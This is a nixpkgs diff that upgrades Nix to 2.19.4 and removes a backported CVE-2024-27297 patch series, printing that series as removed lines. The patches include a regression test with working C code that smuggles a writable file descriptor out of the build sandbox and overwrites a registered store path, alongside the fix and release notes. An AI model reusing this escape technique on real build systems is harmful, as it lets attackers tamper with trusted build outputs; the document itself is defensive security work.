-index 40e57ea02..a6ae72adc 100644
---- a/tests/nixos/ca-fd-leak/default.nix
-+++ b/tests/nixos/ca-fd-leak/default.nix
-@@ -80,7 +80,7 @@ in
-     # Tell the smuggler server that we're done
-     machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
-
--    # Check that the file was modified
-+    # Check that the file was not modified
-     machine.succeed(r"""
-       cat ./result
-       test "$(cat ./result)" = "hello, world"
---
-2.42.0
-
-
-From 7a803d9d5460cc990f20eff7d4d5a3623298c15b Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
- <theophane.hufschmitt@tweag.io>
-Date: Fri, 1 Mar 2024 09:31:05 +0100
-Subject: [PATCH 4/4] Add release notes
-
----
- doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++
- 1 file changed, 14 insertions(+)
- create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md
-
-diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
-new file mode 100644
-index 000000000..ed451711e
---- /dev/null
-+++ b/doc/manual/rl-next/fod-sandbox-escape.md
-@@ -0,0 +1,14 @@
-+---
-+synopsis: Fix a FOD sandbox escape
-+issues:
-+prs:
-+---
-+
-+Cooperating Nix derivations could send file descriptors to files in the Nix
-+store to each other via Unix domain sockets in the abstract namespace. This
-+allowed one derivation to modify the output of the other derivation, after Nix
-+has registered the path as "valid" and immutable in the Nix database.
-+In particular, this allowed the output of fixed-output derivations to be
-+modified from their expected content.
-+
-+This isn't the case any more.
---
-2.42.0
	diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
	index c45ed2ae177a..c663fb433051 100644
	--- a/pkgs/tools/package-management/nix/default.nix
	+++ b/pkgs/tools/package-management/nix/default.nix
	@@ -244,11 +244,8 @@ in lib.makeExtensible (self: ({
	};

	nix_2_19 = common {
	- version = "2.19.3";
	- hash = "sha256-EtL6M0H5+0mFbFh+teVjm+0B+xmHoKwtBvigS5NMWoo=";
	- patches = [
	- ./patches/2_19/CVE-2024-27297.patch
	- ];
	+ version = "2.19.4";
	+ hash = "sha256-qXjyVmDm1SFWk1az3GWIsJ0fVG0nWet2FdldFOnUydI=";
	};

	nix_2_20 = common {
	diff --git a/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch
	deleted file mode 100644
	index e75b7577af1e..000000000000
	--- a/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch
	+++ /dev/null
	@@ -1,407 +0,0 @@
	-From ca05f6d2038a749f63205fccc4a4daa914a6b95b Mon Sep 17 00:00:00 2001
	-From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
	- <theophane.hufschmitt@tweag.io>
	-Date: Mon, 12 Feb 2024 21:28:20 +0100
	-Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape
	-
	-Test that we can't leverage abstract unix domain sockets to leak file
	-descriptors out of the sandbox and modify the path after it has been
	-registered.
	----
	- tests/nixos/ca-fd-leak/default.nix \| 90 ++++++++++++++++++++++++++++++
	- tests/nixos/ca-fd-leak/sender.c \| 65 +++++++++++++++++++++
	- tests/nixos/ca-fd-leak/smuggler.c \| 66 ++++++++++++++++++++++
	- tests/nixos/default.nix \| 2 +
	- 4 files changed, 223 insertions(+)
	- create mode 100644 tests/nixos/ca-fd-leak/default.nix
	- create mode 100644 tests/nixos/ca-fd-leak/sender.c
	- create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
	-
	-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
	-new file mode 100644
	-index 000000000..40e57ea02
	---- /dev/null
	-+++ b/tests/nixos/ca-fd-leak/default.nix
	-@@ -0,0 +1,90 @@
	-+# Nix is a sandboxed build system. But Not everything can be handled inside its
	-+# sandbox: Network access is normally blocked off, but to download sources, a
	-+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
	-+# The detail here is not important, but in our case it means that the hash of
	-+# the output has to be known beforehand. And if you know that, you get a few
	-+# rights: you no longer run inside a special network namespace!
	-+#
	-+# Now, Linux has a special feature, that not many other unices do: Abstract
	-+# unix domain sockets! Not only that, but those are namespaced using the
	-+# network namespace! That means that we have a way to create sockets that are
	-+# available in every single fixed-output derivation, and also all processes
	-+# running on the host machine! Now, this wouldn't be that much of an issue, as,
	-+# well, the whole idea is that the output is pure, and all processes in the
	-+# sandbox are killed before finalizing the output. What if we didn't need those
	-+# processes at all? Unix domain sockets have a semi-known trick: you can pass
	-+# file descriptors around!
	-+# This makes it possible to exfiltrate a file-descriptor with write access to
	-+# $out outside of the sandbox. And that file-descriptor can be used to modify
	-+# the contents of the store path after it has been registered.
	-+
	-+{ config, ... }:
	-+
	-+let
	-+ pkgs = config.nodes.machine.nixpkgs.pkgs;
	-+
	-+ # Simple C program that sends a a file descriptor to `$out` to a Unix
	-+ # domain socket.
	-+ # Compiled statically so that we can easily send it to the VM and use it
	-+ # inside the build sandbox.
	-+ sender = pkgs.runCommandWith {
	-+ name = "sender";
	-+ stdenv = pkgs.pkgsStatic.stdenv;
	-+ } ''
	-+ $CC -static -o $out ${./sender.c}
	-+ '';
	-+
	-+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
	-+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
	-+ # lives in a mount namespace where it is not! So even when this file exists
	-+ # in the actual Nix store, we're capable of just modifying its contents...
	-+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
	-+
	-+ # The abstract socket path used to exfiltrate the file descriptor
	-+ socketName = "FODSandboxExfiltrationSocket";
	-+in
	-+{
	-+ name = "ca-fd-leak";
	-+
	-+ nodes.machine =
	-+ { config, lib, pkgs, ... }:
	-+ { virtualisation.writableStore = true;
	-+ nix.settings.substituters = lib.mkForce [ ];
	-+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
	-+ };
	-+
	-+ testScript = { nodes }: ''
	-+ start_all()
	-+
	-+ machine.succeed("echo hello")
	-+ # Start the smuggler server
	-+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
	-+
	-+ # Build the smuggled derivation.
	-+ # This will connect to the smuggler server and send it the file descriptor
	-+ machine.succeed(r"""
	-+ nix-build -E '
	-+ builtins.derivation {
	-+ name = "smuggled";
	-+ system = builtins.currentSystem;
	-+ # look ma, no tricks!
	-+ outputHashMode = "flat";
	-+ outputHashAlgo = "sha256";
	-+ outputHash = builtins.hashString "sha256" "hello, world\n";
	-+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
	-+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
	-+ }'
	-+ """.strip())
	-+
	-+
	-+ # Tell the smuggler server that we're done
	-+ machine.execute("echo done \| ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
	-+
	-+ # Check that the file was modified
	-+ machine.succeed(r"""
	-+ cat ./result
	-+ test "$(cat ./result)" = "hello, world"
	-+ """.strip())
	-+ '';
	-+
	-+}
	-diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
	-new file mode 100644
	-index 000000000..75e54fc8f
	---- /dev/null
	-+++ b/tests/nixos/ca-fd-leak/sender.c
	-@@ -0,0 +1,65 @@
	-+#include <sys/socket.h>
	-+#include <sys/un.h>
	-+#include <stdlib.h>
	-+#include <stddef.h>
	-+#include <stdio.h>
	-+#include <unistd.h>
	-+#include <fcntl.h>
	-+#include <errno.h>
	-+#include <string.h>
	-+#include <assert.h>
	-+
	-+int main(int argc, char **argv) {
	-+
	-+ assert(argc == 2);
	-+
	-+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
	-+
	-+ // Set up a abstract domain socket path to connect to.
	-+ struct sockaddr_un data;
	-+ data.sun_family = AF_UNIX;
	-+ data.sun_path[0] = 0;
	-+ strcpy(data.sun_path + 1, argv[1]);
	-+
	-+ // Now try to connect, To ensure we work no matter what order we are
	-+ // executed in, just busyloop here.
	-+ int res = -1;
	-+ while (res < 0) {
	-+ res = connect(sock, (const struct sockaddr *)&data,
	-+ offsetof(struct sockaddr_un, sun_path)
	-+ + strlen(argv[1])
	-+ + 1);
	-+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
	-+ if (errno != ECONNREFUSED) break;
	-+ }
	-+
	-+ // Write our message header.
	-+ struct msghdr msg = {0};
	-+ msg.msg_control = malloc(128);
	-+ msg.msg_controllen = 128;
	-+
	-+ // Write an SCM_RIGHTS message containing the output path.
	-+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
	-+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
	-+ hdr->cmsg_level = SOL_SOCKET;
	-+ hdr->cmsg_type = SCM_RIGHTS;
	-+ int fd = open(getenv("out"), O_RDWR \| O_CREAT, 0640);
	-+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
	-+
	-+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
	-+
	-+ // Write a single null byte too.
	-+ msg.msg_iov = malloc(sizeof(struct iovec));
	-+ msg.msg_iov[0].iov_base = "";
	-+ msg.msg_iov[0].iov_len = 1;
	-+ msg.msg_iovlen = 1;
	-+
	-+ // Send it to the othher side of this connection.
	-+ res = sendmsg(sock, &msg, 0);
	-+ if (res < 0) perror("sendmsg");
	-+ int buf;
	-+
	-+ // Wait for the server to close the socket, implying that it has
	-+ // received the commmand.
	-+ recv(sock, (void *)&buf, sizeof(int), 0);
	-+}
	-diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
	-new file mode 100644
	-index 000000000..82acf37e6
	---- /dev/null
	-+++ b/tests/nixos/ca-fd-leak/smuggler.c
	-@@ -0,0 +1,66 @@
	-+#include <sys/socket.h>
	-+#include <sys/un.h>
	-+#include <stdlib.h>
	-+#include <stddef.h>
	-+#include <stdio.h>
	-+#include <unistd.h>
	-+#include <assert.h>
	-+
	-+int main(int argc, char **argv) {
	-+
	-+ assert(argc == 2);
	-+
	-+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
	-+
	-+ // Bind to the socket.
	-+ struct sockaddr_un data;
	-+ data.sun_family = AF_UNIX;
	-+ data.sun_path[0] = 0;
	-+ strcpy(data.sun_path + 1, argv[1]);
	-+ int res = bind(sock, (const struct sockaddr *)&data,
	-+ offsetof(struct sockaddr_un, sun_path)
	-+ + strlen(argv[1])
	-+ + 1);
	-+ if (res < 0) perror("bind");
	-+
	-+ res = listen(sock, 1);
	-+ if (res < 0) perror("listen");
	-+
	-+ int smuggling_fd = -1;
	-+
	-+ // Accept the connection a first time to receive the file descriptor.
	-+ fprintf(stderr, "%s\n", "Waiting for the first connection");
	-+ int a = accept(sock, 0, 0);
	-+ if (a < 0) perror("accept");
	-+
	-+ struct msghdr msg = {0};
	-+ msg.msg_control = malloc(128);
	-+ msg.msg_controllen = 128;
	-+
	-+ // Receive the file descriptor as sent by the smuggler.
	-+ recvmsg(a, &msg, 0);
	-+
	-+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
	-+ while (hdr) {
	-+ if (hdr->cmsg_level == SOL_SOCKET
	-+ && hdr->cmsg_type == SCM_RIGHTS) {
	-+
	-+ // Grab the copy of the file descriptor.
	-+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
	-+ }
	-+
	-+ hdr = CMSG_NXTHDR(&msg, hdr);
	-+ }
	-+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
	-+ close(a);
	-+
	-+ // Wait for a second connection, which will tell us that the build is
	-+ // done
	-+ a = accept(sock, 0, 0);
	-+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
	-+ // Write a new content to the file
	-+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
	-+ char * new_content = "Pwned\n";
	-+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
	-+ if (written_bytes != strlen(new_content)) perror("write");
	-+}
	-diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
	-index 4459aa664..4c1cf785c 100644
	---- a/tests/nixos/default.nix
	-+++ b/tests/nixos/default.nix
	-@@ -40,4 +40,6 @@ in
	- setuid = lib.genAttrs
	- ["i686-linux" "x86_64-linux"]
	- (system: runNixOSTestFor system ./setuid.nix);
	-+
	-+ ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
	- }
	---
	-2.42.0
	-
	-
	-From 558dab42315f493aa4e8480a57c2d3b0834392ec Mon Sep 17 00:00:00 2001
	-From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
	- <theophane.hufschmitt@tweag.io>
	-Date: Tue, 13 Feb 2024 08:28:02 +0100
	-Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
	- registering them
	-
	-It is possible to exfiltrate a file descriptor out of the build sandbox
	-of FODs, and use it to modify the store path after it has been
	-registered.
	-To avoid that issue, don't register the output of the build, but a copy
	-of it (that will be free of any leaked file descriptor).
	----
	- src/libstore/build/local-derivation-goal.cc \| 6 ++++++
	- src/libutil/file-system.cc \| 5 +++++
	- src/libutil/file-system.hh \| 7 +++++++
	- 3 files changed, 18 insertions(+)
	-
	-diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
	-index a9f930773..d83c47d00 100644
	---- a/src/libstore/build/local-derivation-goal.cc
	-+++ b/src/libstore/build/local-derivation-goal.cc
	-@@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
	- [&](const DerivationOutput::CAFixed & dof) {
	- auto & wanted = dof.ca.hash;
	-
	-+ // Replace the output by a fresh copy of itself to make sure
	-+ // that there's no stale file descriptor pointing to it
	-+ Path tmpOutput = actualPath + ".tmp";
	-+ copyFile(actualPath, tmpOutput, true);
	-+ renameFile(tmpOutput, actualPath);
	-+
	- auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
	- .method = dof.ca.method,
	- .hashType = wanted.type,
	-diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
	-index c96effff9..777f83c30 100644
	---- a/src/libutil/file-system.cc
	-+++ b/src/libutil/file-system.cc
	-@@ -616,6 +616,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
	- }
	- }
	-
	-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
	-+{
	-+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
	-+}
	-+
	- void renameFile(const Path & oldName, const Path & newName)
	- {
	- fs::rename(oldName, newName);
	-diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
	-index 4637507b3..71db7d8bc 100644
	---- a/src/libutil/file-system.hh
	-+++ b/src/libutil/file-system.hh
	-@@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst);
	- */
	- void moveFile(const Path & src, const Path & dst);
	-
	-+/**
	-+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
	-+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
	-+ * with the guaranty that the destination will be “fresh”, with no stale inode
	-+ * or file descriptor pointing to it).
	-+ */
	-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
	-
	- /**
	- * Automatic cleanup of resources.
	---
	-2.42.0
	-
	-
	-From 6adce5c3baddf20a5865a646a6d5117e83693497 Mon Sep 17 00:00:00 2001
	-From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
	- <7226587+thufschmitt@users.noreply.github.com>
	-Date: Wed, 21 Feb 2024 17:32:36 +0100
	-Subject: [PATCH 3/4] Fix a typo in a test comment
	-
	-Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
	----
	- tests/nixos/ca-fd-leak/default.nix \| 2 +-
	- 1 file changed, 1 insertion(+), 1 deletion(-)
	-
	-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
	-index 40e57ea02..a6ae72adc 100644
	---- a/tests/nixos/ca-fd-leak/default.nix
	-+++ b/tests/nixos/ca-fd-leak/default.nix
	-@@ -80,7 +80,7 @@ in
	- # Tell the smuggler server that we're done
	- machine.execute("echo done \| ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
	-
	-- # Check that the file was modified
	-+ # Check that the file was not modified
	- machine.succeed(r"""
	- cat ./result
	- test "$(cat ./result)" = "hello, world"
	---
	-2.42.0
	-
	-
	-From 7a803d9d5460cc990f20eff7d4d5a3623298c15b Mon Sep 17 00:00:00 2001
	-From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
	- <theophane.hufschmitt@tweag.io>
	-Date: Fri, 1 Mar 2024 09:31:05 +0100
	-Subject: [PATCH 4/4] Add release notes
	-
	----
	- doc/manual/rl-next/fod-sandbox-escape.md \| 14 ++++++++++++++
	- 1 file changed, 14 insertions(+)
	- create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md
	-
	-diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
	-new file mode 100644
	-index 000000000..ed451711e
	---- /dev/null
	-+++ b/doc/manual/rl-next/fod-sandbox-escape.md
	-@@ -0,0 +1,14 @@
	-+---
	-+synopsis: Fix a FOD sandbox escape
	-+issues:
	-+prs:
	-+---
	-+
	-+Cooperating Nix derivations could send file descriptors to files in the Nix
	-+store to each other via Unix domain sockets in the abstract namespace. This
	-+allowed one derivation to modify the output of the other derivation, after Nix
	-+has registered the path as "valid" and immutable in the Nix database.
	-+In particular, this allowed the output of fixed-output derivations to be
	-+modified from their expected content.
	-+
	-+This isn't the case any more.
	---
	-2.42.0